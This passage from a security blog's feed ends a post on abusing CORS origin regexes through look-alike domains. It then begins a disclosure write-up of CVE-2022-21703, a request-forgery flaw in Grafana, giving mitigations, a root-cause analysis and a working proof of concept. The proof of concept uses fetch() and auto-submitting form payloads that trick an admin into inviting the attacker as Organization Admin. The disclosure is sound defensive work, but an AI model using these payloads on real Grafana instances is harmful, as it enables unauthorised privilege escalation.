Unfortunately, the <a href="https://publicsuffix.org/" target="_blank" rel="noopener">public-suffix list</a> contains no entry
that starts with <code>example</code> followed by a single character followed by <code>com</code>
(at least, at the time of writing this post).
Therefore, acquiring a domain name like <code>attacker.examplezcom</code>
is impossible, unless you&rsquo;re willing to go through the arduous and
expensive process of registering a brand-new <code>examplezcom</code> eTLD for yourself.</p>
<p>However, in cases where the eTLD of the allowed origin is composed of,
not just one, but multiple DNS labels,
everything&rsquo;s not lost.
For instance, assume now that the following regexp is used for origin validation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>^https:\/\/(.*\.)?example.co.uk$
</span></span></code></pre></div><p>Note that the part of the regexp corresponding to the eTLD+1 contains two unescaped periods.
The second unescaped period (the one between <code>co</code> and <code>uk</code>) is unexploitable,
for the same reason as explained above.
The first unescaped period (the one between <code>example</code> and <code>co</code>) is much more promising,
because <code>uk</code> is itself a public suffix, and a domain like
<code>examplezco.uk</code>, whose secure origin matches the regexp,
is probably available for purchase.
If the price for that domain isn&rsquo;t prohibitive,
you can buy it and mount your attack against your target from there.</p>
<p>Admittedly, because public suffixes that are composed of multiple DNS labels
(<code>co.uk</code>, in my example) and for which a less specific public suffix exists
(<code>uk</code>) are relatively rare, exploitable cases of unescaped periods within the
eTLD+1 part of a regexp are even rarer.
To this day, I&rsquo;ve never come across one; and even infosec superstar James
Kettle confessed to me that they&rsquo;ve so far eluded him.
But you should leave no stone unturned.
In fact, the possibility of such a vulnerability should further spur you to broaden
your search for domains allowed by your target&rsquo;s CORS configuration.</p>
<h3 id="cors-vs-samesite">CORS vs. SameSite <a href="#cors-vs-samesite">¶</a></h3>
<p>CORS-aware resources that are meant to allow reliable <em>cross-site</em> access now need
session-identifying cookies to be <em>explicitly</em> (i.e. rather than relying on browsers&rsquo; defaults)
set with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#none" target="_blank" rel="noopener"><code>SameSite=None</code></a> and <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#secure" target="_blank" rel="noopener"><code>Secure</code></a>.</p>
<p>However, contrary to what you may have read <a href="https://blog.reconless.com/samesite-by-default/#cors-misconfigurations" target="_blank" rel="noopener">elsewhere</a>,
legitimate use cases for the stricter <code>Lax</code> and <code>Strict</code> values in conjunction with CORS
do exist.
Developers who wish to protect their CORS-aware resources against <em>cross-site</em> attacks
but nonetheless allow (all or some) same-site origins
may indeed set their cookie with either of those two <code>SameSite</code> values.
Because the <code>SameSite</code> attribute only affects cross-site requests,
same-site requests do unconditionally carry such a cookie.</p>
<p>If you find yourself in a situation where the cookie is marked <code>Lax</code> or <code>Strict</code>,
don&rsquo;t dismiss the possibility of abuse too quickly.
Seek instances of <a href="https://owasp.org/www-community/attacks/xss/" target="_blank" rel="noopener">cross-site scripting</a> or
<a href="https://www.honeybadger.io/blog/subdomain-takeover/" target="_blank" rel="noopener">subdomain takeover</a>
on those same-site origins that the CORS-aware resource trusts,
as <a href="https://samcurry.net" target="_blank" rel="noopener">Sam Curry</a> once did to great effect:</p>
<blockquote>
<p>This was the saving grace which let me exploit a CORS misconfig which leaked
the session token. Very sad to see SameSite cookies but it’s definitely a
fun new challenge :)</p>
</blockquote>
<p>More about this subtlety in <a href="https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/" target="_blank" rel="noopener">one of my previous posts</a>.</p>
<h3 id="acknowledgments">Acknowledgments <a href="#acknowledgments">¶</a></h3>
<p>I’d like to thank <a href="https://alesandroortiz.com" target="_blank" rel="noopener">Alesandro Ortiz</a>,
who was kind enough to review a draft of this post before publication.</p>
]]></content>
        </item>
        
        <item>
            <title>CVE-2022-21703: cross-origin request forgery against Grafana</title>
            <link>//jub0bs.com/posts/2022-02-08-cve-2022-21703-writeup/</link>
            <pubDate>Tue, 08 Feb 2022 16:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2022-02-08-cve-2022-21703-writeup/</guid>
            <description>&lt;p&gt;This post is a writeup about &lt;a href=&#34;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21703&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CVE-2022-21703&lt;/a&gt;,
which is the result of a collaborative effort between
bug-bounty hunter &lt;a href=&#34;https://abrahack.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;abrahack&lt;/a&gt; and me.
If you use or intend to use Grafana,
you should at least read the following section.&lt;/p&gt;
&lt;h2 id=&#34;cve-2022-21703-in-a-nutshell&#34;&gt;CVE-2022-21703 in a nutshell &lt;a href=&#34;#cve-2022-21703-in-a-nutshell&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&#34;about-grafana&#34;&gt;About Grafana &lt;a href=&#34;#about-grafana&#34;&gt;¶&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&#34;https://grafana.com/grafana/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Grafana&lt;/a&gt; is a popular open-source tool that describes itself thus:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Grafana allows you to query, visualize, alert on and understand your metrics
no matter where they are stored. Create, explore, and share beautiful dashboards
with your team and foster a data driven culture.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>This post is a writeup about <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21703" target="_blank" rel="noopener">CVE-2022-21703</a>,
which is the result of a collaborative effort between
bug-bounty hunter <a href="https://abrahack.com" target="_blank" rel="noopener">abrahack</a> and me.
If you use or intend to use Grafana,
you should at least read the following section.</p>
<h2 id="cve-2022-21703-in-a-nutshell">CVE-2022-21703 in a nutshell <a href="#cve-2022-21703-in-a-nutshell">¶</a></h2>
<h3 id="about-grafana">About Grafana <a href="#about-grafana">¶</a></h3>
<p><a href="https://grafana.com/grafana/" target="_blank" rel="noopener">Grafana</a> is a popular open-source tool that describes itself thus:</p>
<blockquote>
<p>Grafana allows you to query, visualize, alert on and understand your metrics
no matter where they are stored. Create, explore, and share beautiful dashboards
with your team and foster a data driven culture.</p>
</blockquote>
<p><a href="https://grafana.com/" target="_blank" rel="noopener">Grafana Labs</a> offers managed Grafana instances,
but you can also deploy Grafana as a self-hosted instance.
An indicator of its popularity is that recent versions of such widely used tools
as <a href="https://about.gitlab.com/" target="_blank" rel="noopener">Gitlab</a> and <a href="https://about.sourcegraph.com/" target="_blank" rel="noopener">SourceGraph</a> ship with Grafana.</p>
<h3 id="core-findings">Core findings <a href="#core-findings">¶</a></h3>
<ul>
<li>Grafana (prior to v7.5.15, as well as v8.x.x versions prior to v8.3.5) is vulnerable to
cross-origin request forgery.</li>
<li>All GET- and POST-based endpoints of <a href="https://grafana.com/docs/grafana/latest/http_api/" target="_blank" rel="noopener">Grafana&rsquo;s HTTP API</a> are affected.</li>
<li>By leveraging some <a href="https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/" target="_blank" rel="noopener"><em>same-site</em> vulnerability</a>,
an anonymous attacker can, for example,
trick an authenticated high-privilege Grafana user into escalating
the attacker&rsquo;s privileges on the targeted Grafana instance.</li>
<li>Grafana instances that have been configured to allow <a href="https://grafana.com/docs/grafana/latest/sharing/share-panel/#embed-panel" target="_blank" rel="noopener">frame embedding</a>
of authenticated dashboards are at increased risk of cross-origin attacks.</li>
</ul>
<h3 id="mitigation">Mitigation <a href="#mitigation">¶</a></h3>
<p>Regardless of your situation and mitigation approach,
you should subsequently audit your Grafana instances for suspicious activity.
Attackers aware of the possibility of cross-origin attacks may have already
carried such attacks against your Grafana instances.</p>
<h4 id="update-grafana">Update Grafana <a href="#update-grafana">¶</a></h4>
<p>If you can, update your Grafana instance to <a href="https://github.com/grafana/grafana/releases/tag/v7.5.15" target="_blank" rel="noopener">v7.5.15</a>
or <a href="https://github.com/grafana/grafana/releases/tag/v8.3.5" target="_blank" rel="noopener">v8.3.5</a>.
At the time of writing this post,
I have not had the opportunity to review Grafana&rsquo;s fix,
but it should protect you from CVE-2022-21703,
regardless of your configuration.</p>
<h4 id="in-case-you-cannot-update">In case you cannot update <a href="#in-case-you-cannot-update">¶</a></h4>
<p>If you cannot update Grafana immediately,
efficient protection against CVE-2022-21703 is more difficult to achieve.
Consider blocking all cross-origin requests against your Grafana instance
at the reverse-proxy level; I&rsquo;m conscious this isn&rsquo;t possible in all cases, though.</p>
<p>If, perhaps in order to enable <a href="https://grafana.com/docs/grafana/latest/sharing/share-panel/#embed-panel" target="_blank" rel="noopener">frame embedding of your Grafana dashboards</a>,
you&rsquo;ve deviated from Grafana&rsquo;s default configuration and have set</p>
<ul>
<li>the <a href="https://grafana.com/docs/grafana/latest/administration/configuration/#cookie_samesite" target="_blank" rel="noopener"><code>cookie_samesite</code> property</a> to <code>none</code>,</li>
<li>the <a href="https://grafana.com/docs/grafana/latest/administration/configuration/#cookie_secure" target="_blank" rel="noopener"><code>cookie_secure</code> property</a> to <code>true</code>,</li>
</ul>
<p>you&rsquo;re at increased risk, because attacks are viable from <em>any</em> origin
(not just from same-site origins). In that case, take these measures:</p>
<ol>
<li>Consider hiding your Grafana instance behind a VPN.
That won&rsquo;t stop cross-origin attackers
if they already know where your Grafana instance lives,
but desperate times call for desperate measures like security through obscurity.</li>
<li>Warn your staff of possible phishing attacks in the coming days.</li>
<li>Continually monitor sensitive activity in your Grafana instance
(addition of high-privilege users, etc.).</li>
</ol>
<p>If you&rsquo;ve set the <code>cookie_samesite</code> property to <code>disabled</code>,
warn your Grafana users to avoid browsers
that don&rsquo;t yet default to <code>Lax</code> for the <code>SameSite</code> cookie attribute
(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite#browser_compatibility" target="_blank" rel="noopener">Safari</a>, most notably);
favour Chromium-based browsers or Firefox.</p>
<p>If the <a href="https://grafana.com/docs/grafana/latest/administration/configuration/#cookie_samesite" target="_blank" rel="noopener"><code>cookie_samesite</code> property</a> is set to <code>lax</code> (default) or <code>strict</code>,
you should scrutinise the security of your subdomains.
Rule out the possibility of <a href="https://owasp.org/www-community/attacks/xss/" target="_blank" rel="noopener">cross-site scripting (XSS)</a>
or <a href="https://www.honeybadger.io/blog/subdomain-takeover/" target="_blank" rel="noopener">subdomain takeover</a> on <em>all</em> <a href="https://developer.mozilla.org/en-US/docs/Glossary/Origin" target="_blank" rel="noopener">Web origins</a>
that are <a href="https://web.dev/same-site-same-origin/" target="_blank" rel="noopener">same-site</a> with respect to the Web origin
where your Grafana instance lives.</p>
<hr>
<h2 id="more-details">More details <a href="#more-details">¶</a></h2>
<h3 id="genesis-of-our-research">Genesis of our research <a href="#genesis-of-our-research">¶</a></h3>
<p>Inspired by recent vulnerabilities found in Grafana,
especially <a href="https://rhynorater.github.io" target="_blank" rel="noopener">Justin Gardner</a>&rsquo;s
<a href="https://rhynorater.github.io/CVE-2020-13379-Write-Up" target="_blank" rel="noopener">full-read SSRF (CVE-2021-13379)</a>
and <a href="https://j0vsec.com" target="_blank" rel="noopener">Jordy Versmissen</a>&rsquo;s
<a href="https://j0vsec.com/post/cve-2021-43798/" target="_blank" rel="noopener">path traversal (CVE-2021-43798)</a>,
we decided to hunt for hitherto overlooked security bugs
in the popular visualisation tool.
Where should we look first?</p>
<p>Several influential infosec figures
(<a href="https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/" target="_blank" rel="noopener">Troy Hunt</a>, most notably)
were quick to pronounce <a href="https://owasp.org/www-community/attacks/csrf" target="_blank" rel="noopener">cross-site request forgery (CSRF)</a> dead,
as both <a href="https://www.chromium.org/updates/same-site/" target="_blank" rel="noopener">Chromium</a> and <a href="https://hacks.mozilla.org/2020/08/changes-to-samesite-cookie-behavior/" target="_blank" rel="noopener">Firefox</a>
started to default to <code>Lax</code> for the value of the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite" target="_blank" rel="noopener"><code>SameSite</code> cookie attribute</a>.
In my experience, though, this announcement is, at best, an approximation;
at worst, a deceptive and harmful exaggeration.</p>
<p>In particular, the recent shift in meaning experienced by the term <a href="https://developer.mozilla.org/en-US/docs/Glossary/Site" target="_blank" rel="noopener"><em>site</em></a>
has complicated the discourse about cross-origin attacks.
Back in the day when the term <em>cross-site request forgery</em> was coined,
<em>site</em> did not have the more precise meaning it now enjoys.
CSRF was an umbrella term for all state-changing request-forgery attacks
issued from a different <em>Web origin</em>.
Many practitioners still use CSRF in that way, often omitting to mention that
the <code>SameSite</code> cookie attribute was only ever intended
as a <a href="https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-cookie-same-site#section-5.1" target="_blank" rel="noopener">defence-in-depth mechanism</a>
and that it is powerless against cross-origin, <em>same-site</em> attacks.
I&rsquo;ve written extensively about this topic in
<a href="https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/" target="_blank" rel="noopener">one of my earlier blog posts</a>.</p>
<p>Another source of <a href="https://stackoverflow.com/questions/tagged/cors" target="_blank" rel="noopener">frequent confusion</a> is
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" target="_blank" rel="noopener">cross-origin resource sharing (CORS)</a>,
a protocol for selectively relaxing some of the <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" target="_blank" rel="noopener">Same-Origin Policy</a>&rsquo;s restrictions.
Many developers <a href="https://fosterelli.co/developers-dont-understand-cors" target="_blank" rel="noopener">notoriously</a> do not have a firm grasp of CORS,
and incorrect assumptions about that protocol are fodder for cross-origin abuse
by more savvy attackers.</p>
<p>These considerations about <code>SameSite</code> and CORS naturally led us
to scrutinise Grafana&rsquo;s defences against cross-origin attacks.</p>
<h3 id="a-proof-of-concept">A proof of concept <a href="#a-proof-of-concept">¶</a></h3>
<p>The proof of concept below demonstrates that,
by mounting a same-site attack against a Grafana instance using the default configuration,
an attacker can trick the <a href="https://grafana.com/docs/grafana/latest/permissions/#grafana-server-admin-role" target="_blank" rel="noopener">Grafana Admin</a>
into inviting the attacker as an <a href="https://grafana.com/docs/grafana/latest/permissions/organization_roles/#compare-roles" target="_blank" rel="noopener">Organization Admin</a>.</p>
<ol>
<li>Run a local instance of Grafana Enterprise (&lt;= v8.3.4) in Docker;
I&rsquo;m binding it to port 3000, in this case:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>docker run -d -p 3000:3000 grafana/grafana-enterprise:8.3.2
</span></span></code></pre></div></li>
<li>As the victim, visit <code>http://localhost:3000/login</code>
and authenticate as the Grafana Admin (<code>admin</code>)
with the  default password (<code>admin</code>).
Grafana will prompt you to reset the password; you can safely skip this step.
You should now be logged in as the Grafana Admin.</li>
<li>Visit <code>http://localhost:3000/org/users</code>;
at this stage, there should be no pending user invites listed on that page.</li>
<li>Save the following malicious code snippet to a file named <code>index.html</code>:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">csrf</span>(<span style="color:#a6e22e">name</span>, <span style="color:#a6e22e">email</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://localhost:3000/api/org/invites&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;name&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">name</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;loginOrEmail&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">email</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;role&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Admin&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;sendEmail&#34;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">opts</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;POST&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">mode</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;no-cors&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;include&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {<span style="color:#e6db74">&#34;Content-Type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;text/plain; json&#34;</span>},
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">data</span>)
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">url</span>, <span style="color:#a6e22e">opts</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">csrf</span>(<span style="color:#e6db74">&#34;attacker&#34;</span>, <span style="color:#e6db74">&#34;attacker@example.com&#34;</span>);
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;</span></span></code></pre></div></li>
<li>As the victim, open file <code>index.html</code> in the same browser.
Observe that the page issues a request to <code>http://localhost:3000/api/org/invites</code>
that does not carry the <code>grafana_session</code> cookie,
because the issuing origin (<code>null</code>) is not same-site with respect to
the destination origin (<code>http://localhost:3000</code>).
Therefore, the server responds with a <code>401 Unauthorized</code> response,
and the attack fails.</li>
<li>Now bind a HTTP server to a different port (8081, here) on <code>localhost</code>
in order to serve the same malicious page.
If Go is installed on your machine,
you can simply save the following code snippet to a file named <code>main.go</code>
(in the same folder as <code>index.html</code>),
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Handle</span>(<span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">FileServer</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Dir</span>(<span style="color:#e6db74">&#34;.&#34;</span>)))
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ListenAndServe</span>(<span style="color:#e6db74">&#34;:8081&#34;</span>, <span style="color:#66d9ef">nil</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>and then start that server by running
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>go run main.go
</span></span></code></pre></div></li>
<li>As the victim, visit <code>http://localhost:8081</code>.
Observe that, this time (contrary to step 5 of this PoC),
the forged request to <code>http://localhost:3000/api/org/invites</code>
does carry the <code>grafana_session</code> cookie,
because the issuing origin (<code>http://localhost:8081</code>) is same-site with respect to
the destination origin (<code>http://localhost:3000</code>).
The server responds with a <code>200 OK</code> response,
an indication that the attack succeeded.</li>
<li>Confirm the attack&rsquo;s success by revisiting <code>http://localhost:3000/org/users</code>;
there should now be a new pending user invite for the attacker.</li>
</ol>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/zv6VujCBQyc?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<h4 id="unconvinced">Unconvinced? <a href="#unconvinced">¶</a></h4>
<p>This local proof of concept may not be enough to convince you
of the attack&rsquo;s viability in a more realistic scenario.
In that case, follow the same steps but, instead,</p>
<ul>
<li>deploy Grafana to a secure origin that you control (e.g. <code>https://grafana.example.com</code>), and</li>
<li>deploy the malicious page to some same-site origin (e.g. <code>https://attack.example.com</code>).</li>
</ul>
<h2 id="root-cause-analysis">Root-cause analysis <a href="#root-cause-analysis">¶</a></h2>
<p>The possibility of cross-origin request forgery against Grafana mainly stems from
an overreliance on the <code>SameSite</code> cookie attribute, weak content-type validation,
and incorrect assumptions about CORS.</p>
<h3 id="samesite-and-its-limitations">SameSite and its limitations <a href="#samesite-and-its-limitations">¶</a></h3>
<p>Any forged request against the Grafana API needs to be authenticated to be useful.
Unfortunately for attackers, Grafana has been explicitly marking
its <code>grafana_session</code> cookie as <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite#lax" target="_blank" rel="noopener"><code>SameSite=Lax</code></a> by default
since <a href="https://grafana.com/blog/2019/02/25/grafana-v6.0-released/" target="_blank" rel="noopener">v6.0</a>.
As a result, the request forged by the attacker will only carry
the <code>grafana_session</code> cookie if it fulfils either of the following two conditions:</p>
<ol>
<li>be a top-level navigation, or</li>
<li>be a same-site request.</li>
</ol>
<p>The first condition limits the attacker to <code>GET</code> requests.
Grafana&rsquo;s HTTP API does feature some GET-based state-changing endpoints (e.g. <code>/logout</code>),
but their impact is typically too low to be interesting to attackers.</p>
<p>You may perceive the second condition as a tall order.
If you do, you&rsquo;d surprised by the sheer number
of organisations—even ones with an active bug-bounty programme—that
are quite content to live with some XSS vulnerability
or a potential subdomain takeover
on some obscure (and possibly out-of-scope) subdomain.
We identified multiple such bug-bounty targets during our research,
and we surely cannot lay claim to exhaustiveness&hellip;</p>
<p>Besides, some Grafana admins may choose to
relax Grafana&rsquo;s default <code>SameSite</code> value
and configure their instance so as to allow
<a href="https://grafana.com/docs/grafana/latest/sharing/share-panel/#embed-panel" target="_blank" rel="noopener">frame embedding of authenticated dashboards</a>, by setting</p>
<ul>
<li>the <a href="https://grafana.com/docs/grafana/latest/administration/configuration/#allow_embedding" target="_blank" rel="noopener"><code>allow_embedding</code> property</a> to <code>true</code>,</li>
<li>the <a href="https://grafana.com/docs/grafana/latest/administration/configuration/#cookie_samesite" target="_blank" rel="noopener"><code>cookie_samesite</code> property</a> to <code>none</code>,</li>
<li>the <a href="https://grafana.com/docs/grafana/latest/administration/configuration/#cookie_secure" target="_blank" rel="noopener"><code>cookie_secure</code> property</a> to <code>true</code>.</li>
</ul>
<p>Such Grafana instances are vulnerable to good old <a href="https://owasp.org/www-community/attacks/csrf" target="_blank" rel="noopener">CSRF</a>.
The attacker&rsquo;s malicious page can indeed be hosted on <em>any</em> origin,
because <em>all</em> requests to the Grafana API will carry the precious authentication cookie,
regardless of the request&rsquo;s issuing origin.</p>
<p>Finally,
some Grafana administrators may choose to set the <code>cookie_samesite</code> property to <code>disabled</code>,
in order to omit the <code>SameSite</code> attribute when setting the authentication cookie.
People who authenticate to such Grafana instances in Safari are also at risk of CSRF,
because <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite#browser_compatibility" target="_blank" rel="noopener">Safari still defaults to <code>None</code> for the <code>SameSite</code> attribute</a>.</p>
<p>Interestingly, Grafana developers seemed <a href="https://github.com/grafana/grafana/pull/20070#issue-513604765" target="_blank" rel="noopener">aware</a>
that <code>SameSite</code> alone provided insufficient protection against cross-origin attacks.
Subsequently to the <a href="https://grafana.com/blog/2019/02/25/grafana-v6.0-released/" target="_blank" rel="noopener">v6.0 release</a>,
they actually opened <a href="https://github.com/grafana/grafana/pull/20070" target="_blank" rel="noopener">a pull request in a bid to add anti-CSRF tokens</a>,
only to <a href="https://github.com/grafana/grafana/pull/20070#issuecomment-626062515" target="_blank" rel="noopener">reverse course</a>
and ultimately abandon that PR,
against well-founded objections in <a href="https://github.com/grafana/grafana/pull/20070#issuecomment-629080827" target="_blank" rel="noopener">a later comment</a>.</p>
<h3 id="bypassing-content-type-validation-and-avoiding-cors-preflight">Bypassing content-type validation and avoiding CORS preflight <a href="#bypassing-content-type-validation-and-avoiding-cors-preflight">¶</a></h3>
<p>Our initial attempts at cross-origin request forgery against Grafana involved
an auto-submitting HTML form:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://localhost:3000/api/org/invites&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;POST&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;name&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;attacker&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;loginOrEmail&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;attacker@example.com&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;role&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Admin&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sendEmail&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;false&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      document.<span style="color:#a6e22e">forms</span>[<span style="color:#ae81ff">0</span>].<span style="color:#a6e22e">submit</span>();
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>This form submission resulted in a <code>422 Unprocessable Entity</code> with the following JSON body:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>[{
